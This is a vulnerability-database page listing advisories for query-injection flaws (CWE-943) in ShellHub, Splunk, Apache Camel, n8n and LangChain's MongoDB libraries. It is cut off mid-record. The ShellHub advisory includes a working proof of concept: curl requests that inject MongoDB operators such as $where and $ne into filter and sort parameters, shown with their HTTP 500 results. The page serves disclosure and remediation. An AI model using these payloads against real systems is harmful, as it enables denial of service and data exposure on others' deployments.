GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-943

Allowed-with-Review

Improper Neutralization of Special Elements in Data Query Logic

Abstraction: Class · Status: Incomplete

The product generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query.

163 vulnerabilities reference this CWE, most recent first.

GHSA-47R2-V3X6-WFF9

Vulnerability from github – Published: 2026-05-06 23:28 – Updated: 2026-05-14 20:43
VLAI
Summary
ShellHub has crash-DoS via field injection in filter and sort-by parameters
Details

Summary

The device list endpoint accepts user-controlled identifiers in two places that are passed directly as BSON/SQL keys in the database layer without validation:

  1. The name field of each filter property in the base64-encoded filter query parameter.
  2. The sort_by query parameter.

Any authenticated user can craft payloads that cause the aggregation/query to fail and the API to return HTTP 500 with no body, with no rate limiting applied.

Severity

CVSS 3.1: 6.5 (Medium) CWE-20 (Improper Input Validation) CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)

Affected versions

ShellHub Community v0.24.1 (validated). All versions sharing the same filter and sort pipeline (api/store/mongo/query-options.go).

Root cause

Vector 1 — Filter field name

api/store/mongo/query-options.go:140:

go conditions = append(conditions, bson.M{param.Name: property})

param.Name is the name field from the JSON filter supplied by the client. It becomes a BSON map key with no validation, allowing BSON operator names ($where, $ne, $or, $regex) and virtual pipeline-computed fields (namespace, paths containing $) to be injected.

Vector 2 — Sort-by field

Similar pattern in the sort pipeline where the sort_by query parameter is used to build bson.M{"$sort": {sortBy: order}} without validation.

Additional observation

fromContains (api/store/mongo/internal/filters.go:60-69) passes user input directly as $regex value, which enables blind regex extraction over string fields within the caller's tenant and potential ReDoS amplification on large datasets.

go func fromContains(value interface{}) (bson.M, error) { switch value.(type) { case string: return bson.M{"$regex": value, "$options": "i"}, nil

Proof of concept (validated live against v0.24.1)

```bash TOKEN=

# Helper: base64-encode a filter payload encode_filter() { python3 -c 'import json,base64,sys;print(base64.b64encode(json.dumps(json.loads(sys.argv[1])).encode()).decode())' "$1" }

# --- Vector 1: filter field injection ---

# Baseline: legitimate filter -> 200 F=$(encode_filter '[{"type":"property","params":{"name":"name","operator":"contains","value":"anything"}}]') curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \ -H "Authorization: Bearer $TOKEN" # HTTP=200

# Exploit 1a: Mongo operator as field name F=$(encode_filter '[{"type":"property","params":{"name":"$where","operator":"contains","value":"x"}}]') curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \ -H "Authorization: Bearer $TOKEN" # HTTP=500

# Exploit 1b: nested object as value F=$(encode_filter '[{"type":"property","params":{"name":"status","operator":"eq","value":{"$ne":"accepted"}}}]') curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \ -H "Authorization: Bearer $TOKEN" # HTTP=500

# Exploit 1c: pipeline-computed field as filter name F=$(encode_filter '[{"type":"property","params":{"name":"namespace","operator":"contains","value":"."}}]') curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \ -H "Authorization: Bearer $TOKEN" # HTTP=500

# --- Vector 2: sort-by injection ---

# Baseline: legitimate sort -> 200 curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=name" \ -H "Authorization: Bearer $TOKEN" # HTTP=200

# Exploit 2a: Mongo operator as sort field curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=\$where" \ -H "Authorization: Bearer $TOKEN" # HTTP=500

# Exploit 2b: path containing $ curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=_id.%24%24%24" \ -H "Authorization: Bearer $TOKEN" # HTTP=500

# Exploit 2c: oversized sort field (no length validation) curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=$(python3 -c 'print("A"*5000)')" \ -H "Authorization: Bearer $TOKEN" # HTTP=500

# Exploit 2d: non-indexable internal field curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=tenant_id" \ -H "Authorization: Bearer $TOKEN" # HTTP=500

# --- Repeat to demonstrate no rate limiting --- for i in $(seq 1 20); do curl -sS -o /dev/null -w "%{http_code} " "http://target/api/devices?sort_by=\$where" \ -H "Authorization: Bearer $TOKEN" done # 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 ```

Confirmed field values that trigger 500: - Filter name: $where, $regex, $or, $ne, remote_addr, tenant_id, namespace, any path containing $ after a . - Sort-by: $where, _id.$$$, tenant_id, password.hash, overly long strings

Observed response characteristics: HTTP/1.1 500 Internal Server Error Content-Length: 0 X-Request-Id: <id> ← logged as error in backend

Response time 8-18 ms per request, server process stays alive, no degradation across 20 consecutive requests.

Impact

  • Availability (low): unrestricted HTTP 500 generation by any authenticated caller; log noise, SIEM false-positives, WAF bypass fingerprinting.
  • Information disclosure (low): potential stack trace exposure depending on logger configuration; attacker can fingerprint the underlying MongoDB aggregation pipeline and schema.
  • Resource exhaustion (potential): user-controlled $regex value on large tenant datasets enables ReDoS amplification (not reproducible on a 2-device test instance, but attack surface is real on production-scale deployments).
  • Forensics difficulty: unified 500 response makes it hard to distinguish legitimate errors from attacker probes in logs.

Suggested fix

  1. Allowlist filter and sort field names per collection. Add a whitelist of allowed param.Name and sort_by values for each model exposed via filters (device, session, etc.). Reject anything else with HTTP 400.

  2. Reject BSON operators in field names. Even if an allowlist is not practical, reject values that:

    • start with $
    • contain $ after a .
    • contain characters outside [A-Za-z0-9_.]
    • exceed a reasonable length (e.g., 64 characters)
  3. Validate value shape. For contains/eq/ne operators, reject non-primitive values (objects, arrays of objects).

  4. Catch aggregation errors. In api/store/mongo/query-options.go, wrap pipeline execution and return a typed error that the HTTP layer maps to 400 Bad Request instead of 500.

  5. Limit regex complexity. In fromContains, reject regex values longer than N characters or containing nested quantifiers ((...)+, (...)*, (.+)+, etc.) to mitigate ReDoS.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.24.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/shellhub-io/shellhub"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.24.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44425"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-20",
      "CWE-943"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T23:28:05Z",
    "nvd_published_at": "2026-05-13T22:16:44Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\nThe device list endpoint accepts user-controlled identifiers in two places that are passed directly as BSON/SQL keys in the database layer without validation:\n\n  1. The `name` field of each filter property in the base64-encoded `filter`\n     query parameter.\n  2. The `sort_by` query parameter.\n\nAny authenticated user can craft payloads that cause the aggregation/query to fail and the API to return HTTP 500 with no body, with no rate limiting applied.\n\n## Severity\n**CVSS 3.1: 6.5 (Medium)** \nCWE-20 (Improper Input Validation) \nCWE-943 (Improper Neutralization of Special Elements in Data Query Logic)\n\n## Affected versions\nShellHub Community v0.24.1 (validated). All versions sharing the same filter and sort pipeline (`api/store/mongo/query-options.go`).\n\n## Root cause\n\n### Vector 1 \u2014 Filter field name\n  `api/store/mongo/query-options.go:140`:\n\n  ```go\n  conditions = append(conditions, bson.M{param.Name: property})\n  ```\n\n`param.Name` is the `name` field from the JSON filter supplied by the client. It becomes a BSON map key with no validation, allowing BSON operator names (`$where`, `$ne`, `$or`, `$regex`) and virtual pipeline-computed fields (`namespace`, paths containing `$`) to be  injected.\n\n### Vector 2 \u2014 Sort-by field\nSimilar pattern in the sort pipeline where the `sort_by` query parameter is used to build `bson.M{\"$sort\": {sortBy: order}}` without validation.\n\n### Additional observation\n`fromContains` (`api/store/mongo/internal/filters.go:60-69`) passes user input directly as `$regex` value, which enables blind regex extraction over string fields within the caller\u0027s tenant and potential ReDoS amplification on large datasets.\n\n  ```go\n  func fromContains(value interface{}) (bson.M, error) {\n      switch value.(type) {\n      case string:\n          return bson.M{\"$regex\": value, \"$options\": \"i\"}, nil\n  ```\n\n## Proof of concept (validated live against v0.24.1)\n\n  ```bash\n  TOKEN=\u003cvalid-user-jwt\u003e\n\n  # Helper: base64-encode a filter payload\n  encode_filter() {\n    python3 -c \u0027import json,base64,sys;print(base64.b64encode(json.dumps(json.loads(sys.argv[1])).encode()).decode())\u0027 \"$1\"\n  }\n\n  # --- Vector 1: filter field injection ---\n\n  # Baseline: legitimate filter -\u003e 200\n  F=$(encode_filter \u0027[{\"type\":\"property\",\"params\":{\"name\":\"name\",\"operator\":\"contains\",\"value\":\"anything\"}}]\u0027)\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?filter=$F\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=200\n\n  # Exploit 1a: Mongo operator as field name\n  F=$(encode_filter \u0027[{\"type\":\"property\",\"params\":{\"name\":\"$where\",\"operator\":\"contains\",\"value\":\"x\"}}]\u0027)\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?filter=$F\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # Exploit 1b: nested object as value\n  F=$(encode_filter \u0027[{\"type\":\"property\",\"params\":{\"name\":\"status\",\"operator\":\"eq\",\"value\":{\"$ne\":\"accepted\"}}}]\u0027)\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?filter=$F\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # Exploit 1c: pipeline-computed field as filter name\n  F=$(encode_filter \u0027[{\"type\":\"property\",\"params\":{\"name\":\"namespace\",\"operator\":\"contains\",\"value\":\".\"}}]\u0027)\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?filter=$F\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # --- Vector 2: sort-by injection ---\n\n  # Baseline: legitimate sort -\u003e 200\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=name\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=200\n\n  # Exploit 2a: Mongo operator as sort field\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=\\$where\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # Exploit 2b: path containing $\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=_id.%24%24%24\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # Exploit 2c: oversized sort field (no length validation)\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=$(python3 -c \u0027print(\"A\"*5000)\u0027)\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # Exploit 2d: non-indexable internal field\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=tenant_id\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # --- Repeat to demonstrate no rate limiting ---\n  for i in $(seq 1 20); do\n    curl -sS -o /dev/null -w \"%{http_code} \" \"http://target/api/devices?sort_by=\\$where\" \\\n      -H \"Authorization: Bearer $TOKEN\"\n  done\n  # 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500\n  ```\n\n  **Confirmed field values that trigger 500:**\n  - Filter name: `$where`, `$regex`, `$or`, `$ne`, `remote_addr`, `tenant_id`, `namespace`, any path containing `$` after a `.`\n  - Sort-by: `$where`, `_id.$$$`, `tenant_id`, `password.hash`, overly long strings\n\n  **Observed response characteristics:**\n  ```\n  HTTP/1.1 500 Internal Server Error\n  Content-Length: 0\n  X-Request-Id: \u003cid\u003e    \u2190 logged as error in backend\n  ```\n\nResponse time 8-18 ms per request, server process stays alive, no degradation across 20 consecutive requests.\n\n## Impact\n  - **Availability (low):** unrestricted HTTP 500 generation by any authenticated caller; log noise, SIEM false-positives, WAF bypass\nfingerprinting.\n  - **Information disclosure (low):** potential stack trace exposure depending on logger configuration; attacker can fingerprint the underlying MongoDB aggregation pipeline and schema.\n  - **Resource exhaustion (potential):** user-controlled `$regex` value on large tenant datasets enables ReDoS amplification (not reproducible on a 2-device test instance, but attack surface is real on production-scale deployments).\n  - **Forensics difficulty:** unified 500 response makes it hard to distinguish legitimate errors from attacker probes in logs.\n\n## Suggested fix\n\n  1. **Allowlist filter and sort field names per collection.** Add a whitelist of allowed `param.Name` and `sort_by` values for each model exposed via filters (`device`, `session`, etc.). Reject anything else with HTTP 400.\n\n  2. **Reject BSON operators in field names.** Even if an allowlist is not practical, reject values that:\n     - start with `$`\n     - contain `$` after a `.`\n     - contain characters outside `[A-Za-z0-9_.]`\n     - exceed a reasonable length (e.g., 64 characters)\n\n  3. **Validate `value` shape.** For `contains`/`eq`/`ne` operators, reject non-primitive values (objects, arrays of objects).\n\n  4. **Catch aggregation errors.** In `api/store/mongo/query-options.go`,  wrap pipeline execution and return a typed error that the HTTP layer maps to 400 Bad Request instead of 500.\n\n  5. **Limit regex complexity.** In `fromContains`, reject regex values longer than N characters or containing nested quantifiers (`(...)+`, `(...)*`, `(.+)+`, etc.) to mitigate ReDoS.",
  "id": "GHSA-47r2-v3x6-wff9",
  "modified": "2026-05-14T20:43:23Z",
  "published": "2026-05-06T23:28:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/shellhub-io/shellhub/security/advisories/GHSA-47r2-v3x6-wff9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44425"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/shellhub-io/shellhub"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ShellHub has crash-DoS via field injection in filter and sort-by parameters"
}

GHSA-4HW2-8JM2-9J36

Vulnerability from github – Published: 2026-08-20 00:34 – Updated: 2026-08-20 00:34
VLAI
Details

In Splunk Enterprise versions below 10.4.2, 10.2.6, 10.0.9, and 9.4.14, an unauthenticated user could trick a user who holds the "admin" Splunk role into opening a crafted link to Monitoring Console. When that user opens the link, Splunk Enterprise runs attacker-controlled Search Processing Language (SPL) using the permissions of that user. The injected SPL could expose data available to that user or modify lookup data. The vulnerability is possible because Monitoring Console does not sufficiently validate data used to build dashboard searches. The vulnerability requires the attacker to phish the user by tricking them into opening the crafted link. The unauthenticated user should not be able to exploit the vulnerability at will.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-76329"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-19T22:17:17Z",
    "severity": "MODERATE"
  },
  "details": "In Splunk Enterprise versions below 10.4.2, 10.2.6, 10.0.9, and 9.4.14, an unauthenticated user could trick a user who holds the \"admin\" Splunk role into opening a crafted link to Monitoring Console. When that user opens the link, Splunk Enterprise runs attacker-controlled Search Processing Language (SPL) using the permissions of that user. The injected SPL could expose data available to that user or modify lookup data. The vulnerability is possible because Monitoring Console does not sufficiently validate data used to build dashboard searches. The vulnerability requires the attacker to phish the user by tricking them into opening the crafted link. The unauthenticated user should not be able to exploit the vulnerability at will.",
  "id": "GHSA-4hw2-8jm2-9j36",
  "modified": "2026-08-20T00:34:58Z",
  "published": "2026-08-20T00:34:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76329"
    },
    {
      "type": "WEB",
      "url": "https://advisory.splunk.com/advisories/SVD-2026-0801"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4JRW-64VR-7G8M

Vulnerability from github – Published: 2026-01-14 12:31 – Updated: 2026-01-15 22:33
VLAI
Summary
Apache Camel camel-neo4j component is vulnerable to cypher injection
Details

Cypher Injection vulnerability in Apache Camel camel-neo4j component.

This issue affects Apache Camel: from 4.10.0 before 4.10.8, from 4.14.0 before 4.14.3, from 4.15.0 before 4.17.0

Users are recommended to upgrade to version 4.10.8 for 4.10.x LTS and 4.14.3 for 4.14.x LTS and 4.17.0.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.camel:camel-neo4j"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.10.0"
            },
            {
              "fixed": "4.10.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.camel:camel-neo4j"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.14.0"
            },
            {
              "fixed": "4.14.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.camel:camel-neo4j"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.15.0"
            },
            {
              "fixed": "4.17.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-66169"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-89",
      "CWE-943"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-14T21:17:27Z",
    "nvd_published_at": "2026-01-14T12:16:32Z",
    "severity": "MODERATE"
  },
  "details": "Cypher Injection vulnerability in Apache Camel camel-neo4j component.\n\nThis issue affects Apache Camel: from 4.10.0 before 4.10.8, from 4.14.0 before 4.14.3, from 4.15.0 before 4.17.0\n\nUsers are recommended to upgrade to version 4.10.8 for 4.10.x LTS and 4.14.3 for 4.14.x LTS and 4.17.0.",
  "id": "GHSA-4jrw-64vr-7g8m",
  "modified": "2026-01-15T22:33:18Z",
  "published": "2026-01-14T12:31:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66169"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/camel/pull/20035"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/camel/pull/20036"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/camel/pull/20037"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/camel/commit/66715d3feb4ba15df30cffe437e45efeedfba10d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/camel/commit/723e2cd98ce4b4ceb1dd38837bc113fca0cef170"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/camel/commit/e46c4c0ef542a64dc791253763a8273dfd7fb179"
    },
    {
      "type": "WEB",
      "url": "https://camel.apache.org/security/CVE-2025-66169.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/camel"
    },
    {
      "type": "WEB",
      "url": "https://issues.apache.org/jira/browse/CAMEL-22719"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/01/13/5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Apache Camel camel-neo4j component is vulnerable to cypher injection"
}

GHSA-4X9Q-XQFH-JH4J

Vulnerability from github – Published: 2026-08-20 12:31 – Updated: 2026-09-01 21:31
VLAI
Details

n8n before 1.123.69, 2.33.4, and 2.34.1 contains a NoSQL injection vulnerability in the MongoDB node's Find, Delete, and Aggregate operations, which parse the Query parameter as JSON after expression resolution without sanitizing MongoDB operators. An attacker who can influence the resolved query (e.g., via externally-controlled data) can inject operators such as $ne or $where, turning an intended single-document lookup into full-collection disclosure, full-collection deletion, or other operations on the database server.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-77070"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-20T12:16:38Z",
    "severity": "HIGH"
  },
  "details": "n8n before 1.123.69, 2.33.4, and 2.34.1 contains a NoSQL injection vulnerability in the MongoDB node\u0027s Find, Delete, and Aggregate operations, which parse the Query parameter as JSON after expression resolution without sanitizing MongoDB operators. An attacker who can influence the resolved query (e.g., via externally-controlled data) can inject operators such as $ne or $where, turning an intended single-document lookup into full-collection disclosure, full-collection deletion, or other operations on the database server.",
  "id": "GHSA-4x9q-xqfh-jh4j",
  "modified": "2026-09-01T21:31:19Z",
  "published": "2026-08-20T12:31:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/security/advisories/GHSA-953p-jm2c-8h5j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77070"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/n8n-before-nosql-injection-via-mongodb-node"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-533J-2V4Q-MW5H

Vulnerability from github – Published: 2026-08-20 17:29 – Updated: 2026-08-20 17:29
VLAI
Summary
LangChain MongoDB has NoSQL Operator Injection in MongoDBSaver.list() leading to cross-tenant data exposure
Details

Executive Summary

A NoSQL injection issue exists in the langgraph-checkpoint-mongodb and langgraph-store-mongodb libraries. MongoDBSaver.list() and MongoDBStore.search() methods accept a filter parameter that is incorporated into MongoDB queries without sufficient validation. Because MongoDB query operator keys (those prefixed with $) are not rejected during filter construction, a caller with control of the filter input can embed MongoDB query operators directly into the query.


CVSS Details

CVSS 4.0

Field Value
CVSS Version 4.0
Vector String CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N
Base Score 7.1 (High)
Metric Value Rationale
Attack Vector (AV) Network Triggerable remotely via API
Attack Complexity (AC) Low No special conditions required
Attack Requirements (AT) None No prerequisite deployment or execution conditions
Privileges Required (PR) Low Authenticated caller of the checkpoint/store API
User Interaction (UI) None No user action required
Vulnerable System Confidentiality (VC) None No direct impact on the vulnerable component itself
Vulnerable System Integrity (VI) None Read-only access
Vulnerable System Availability (VA) None No service disruption
Subsequent System Confidentiality (SC) High Full access to other tenants' checkpoint data
Subsequent System Integrity (SI) None No write or modification capability
Subsequent System Availability (SA) None No service disruption to downstream systems

CVSS 3.1

Field Value
CVSS Version 3.1
Vector String CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Base Score 7.7 (High)
Metric Value Rationale
Attack Vector Network Triggerable remotely via API
Attack Complexity Low No special conditions required
Privileges Required Low Authenticated caller of the checkpoint/store API
User Interaction None No user action required
Scope Changed Impact crosses tenant boundaries
Confidentiality High Full access to other tenants' checkpoint data
Integrity None Read-only access
Availability None No service disruption
---
## Affected Packages
Package Distribution Affected Methods
--- --- ---
langgraph-checkpoint-mongodb PyPI MongoDBSaver.list(), MongoDBSaver.alist()
langgraph-store-mongodb PyPI MongoDBStore.search()
---
## Advisory FAQ
### How do I know if I am affected?

You are likely affected if all of the following are true: 1. Your application uses langgraph-checkpoint-mongodb or langgraph-store-mongodb. 2. Your application calls MongoDBSaver.list(), MongoDBSaver.alist(), or MongoDBStore.search() with a filter argument. 3. Any part of that filter argument is derived from user-controlled input — for example, HTTP query parameters, request body fields, or agent tool arguments. 4. You operate in a multi-tenant context where the filter is used to enforce per-user or per-tenant data isolation.

If the filter argument is constructed entirely from trusted, server-side values, the practical risk is lower, but upgrading is still recommended.

How do I fix the issue?

Upgrade to the version of langgraph-checkpoint-mongodb and langgraph-store-mongodb. If you cannot upgrade immediately, apply the following mitigation: in your application code, before passing any user-controlled input to the filter parameter, remove or escape MongoDB Query metacharacters such as “$”.


Acknowledgements

Thanks to Kenichi Kawaguchi for responsibly disclosing this issue via the GitHub Security Advisory program on the langchain-mongodb repository.


Revisions

Date Description
2026-06-05 Initial advisory published
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "langgraph-checkpoint-mongodb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "langgraph-store-mongodb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55253"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-20T17:29:14Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# Executive Summary\n\nA NoSQL injection issue exists in the langgraph-checkpoint-mongodb and\nlanggraph-store-mongodb libraries. MongoDBSaver.list() and MongoDBStore.search() methods\naccept a filter parameter that is incorporated into MongoDB queries without sufficient validation.\nBecause MongoDB query operator keys (those prefixed with $) are not rejected during filter\nconstruction, a caller with control of the filter input can embed MongoDB query operators\ndirectly into the query.\n\n---\n\n## CVSS Details\n\n### CVSS 4.0\n\n| Field | Value |\n|---|---|\n| **CVSS Version** | 4.0 |\n| **Vector String** | `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N` |\n| **Base Score** | **7.1 (High)** |\n\n| Metric | Value | Rationale |\n|---|---|---|\n| Attack Vector (AV) | Network | Triggerable remotely via API |\n| Attack Complexity (AC) | Low | No special conditions required |\n| Attack Requirements (AT) | None | No prerequisite deployment or execution conditions |\n| Privileges Required (PR) | Low | Authenticated caller of the checkpoint/store API |\n| User Interaction (UI) | None | No user action required |\n| Vulnerable System Confidentiality (VC) | None | No direct impact on the vulnerable component itself |\n| Vulnerable System Integrity (VI) | None | Read-only access |\n| Vulnerable System Availability (VA) | None | No service disruption |\n| Subsequent System Confidentiality (SC) | High | Full access to other tenants\u0027 checkpoint data |\n| Subsequent System Integrity (SI) | None | No write or modification capability |\n| Subsequent System Availability (SA) | None | No service disruption to downstream systems |\n\n### CVSS 3.1\n\n| Field | Value |\n|---|---|\n| **CVSS Version** | 3.1 |\n| **Vector String** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N` |\n| **Base Score** | **7.7 (High)** |\n\n| Metric | Value | Rationale |\n|---|---|---|\n| Attack Vector | Network | Triggerable remotely via API |\n| Attack Complexity | Low | No special conditions required |\n| Privileges Required | Low | Authenticated caller of the checkpoint/store API |\n| User Interaction | None | No user action required |\n| Scope | Changed | Impact crosses tenant boundaries |\n| Confidentiality | High | Full access to other tenants\u0027 checkpoint data |\n| Integrity | None | Read-only access |\n| Availability | None | No service disruption |\n---\n## Affected Packages\n| Package | Distribution | Affected Methods | Affected Versions |\n|---|---|---|---|\n| `langgraph-checkpoint-mongodb` | PyPI | `MongoDBSaver.list()`, `MongoDBSaver.alist()` | \u003c 0.3.0 |\n| `langgraph-store-mongodb` | PyPI | `MongoDBStore.search()` | \u003c 0.4.0 |\n---\n## Advisory FAQ\n### How do I know if I am affected?\n\nYou are likely affected if **all** of the following are true:\n1. Your application uses `langgraph-checkpoint-mongodb` or `langgraph-store-mongodb`.\n2. Your application calls `MongoDBSaver.list()`, `MongoDBSaver.alist()`, or\n`MongoDBStore.search()` with a `filter` argument.\n3. Any part of that `filter` argument is derived from user-controlled input \u2014 for example, HTTP\nquery parameters, request body fields, or agent tool arguments.\n4. You operate in a multi-tenant context where the `filter` is used to enforce per-user or\nper-tenant data isolation.\n\nIf the `filter` argument is constructed entirely from trusted, server-side values, the practical risk is\nlower, but upgrading is still recommended.\n\n### How do I fix the issue?\n\n**Upgrade** to the version of `langgraph-checkpoint-mongodb` and `langgraph-store-mongodb`.\nIf you cannot upgrade immediately, apply the following mitigation: in your application code,\nbefore passing any user-controlled input to the `filter` parameter, remove or escape MongoDB\nQuery metacharacters such as \u201c$\u201d.\n\n---\n\n## Acknowledgements\nThanks to Kenichi Kawaguchi for responsibly disclosing this issue via the GitHub Security\nAdvisory program on the langchain-mongodb repository.\n\n---\n\n## Revisions\n\n| Date | Description |\n|---|---|\n| 2026-06-05 | Initial advisory published |",
  "id": "GHSA-533j-2v4q-mw5h",
  "modified": "2026-08-20T17:29:14Z",
  "published": "2026-08-20T17:29:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/langchain-ai/langchain-mongodb/security/advisories/GHSA-533j-2v4q-mw5h"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/langchain-ai/langchain-mongodb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langchain-ai/langchain-mongodb/releases/tag/libs%2Flanggraph-checkpoint-mongodb%2Fv0.4.0"
    },
    {
      "type": "WEB",
